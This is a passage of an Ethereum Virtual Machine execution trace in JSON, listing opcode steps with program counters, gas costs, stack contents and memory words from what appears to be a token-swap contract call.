002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5225,"op":"ADD","gas":104979,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5226,"op":"AND","gas":104976,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5227,"op":"DUP3","gas":104973,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5228,"op":"ADD","gas":104970,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0x20","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5229,"op":"DUP1","gas":104967,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5230,"op":"PUSH1","gas":104964,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0x1e0","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5232,"op":"MSTORE","gas":104961,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0x1e0","0x1e0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5233,"op":"POP","gas":104958,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5234,"op":"DUP2","gas":104956,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5235,"op":"ADD","gas":104953,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5236,"op":"SWAP1","gas":104950,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5237,"op":"PUSH2","gas":104947,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5240,"op":"SWAP2","gas":104944,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1e0","0x1c0","0x147e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5241,"op":"SWAP1","gas":104941,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1c0","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5242,"op":"PUSH2","gas":104938,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5245,"op":"JUMP","gas":104935,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x3aaf"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15023,"op":"JUMPDEST","gas":104927,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15024,"op":"PUSH1","gas":104926,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15026,"op":"PUSH1","gas":104923,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","00000